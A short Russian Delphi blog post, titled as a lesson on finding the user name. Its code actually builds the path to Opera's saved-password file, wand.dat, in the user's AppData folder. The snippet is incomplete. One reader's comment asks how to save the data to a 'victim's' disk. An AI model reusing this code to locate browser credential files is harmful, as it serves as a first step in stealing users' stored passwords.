|
|
 | |  |
| Главная » 2011 » Март » 06 » Определяем имя пользователя
19:51 Определяем имя пользователя |
в uses кидаем ShlObj, Shellapi
объявляем функцию
function GetSpecialPath(CSIDL: Word): string;
var
s: string;
begin
SetLength(s, MAX_PATH);
if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, True) then
s := '';
Result := PChar(s);
end;
потом в процедуру, например формактив пишем:
procedure TForm1.FormActivate(Sender: TObject);
var
primer,local,x: string;
begin
primer:= GetSpecialPath(CSIDL_APPDATA);
local:= GetSpecialPath($1c);
x:= (primer +'\Opera\Opera\wand.dat');
вот и всё)
|
|
Категория: Delphi |
Просмотров: 434 |
Добавил: SeM
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ] | |
 | |  |
|
 |
| Коменнтарии
 | |
Извиняюсь, заработал. Спасибо за урок 
Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?
Нифига не робит...
Кто знает как сделать чтобы на жесткий жертвы сохранял..
ISQ 606017777
|
 |
|
| Отзывы Фото
| |
6 микр. Красивое место....
Старый музей но щас его перенесли...
Фотография под горы 
Красивое фото!!!
|
|
|
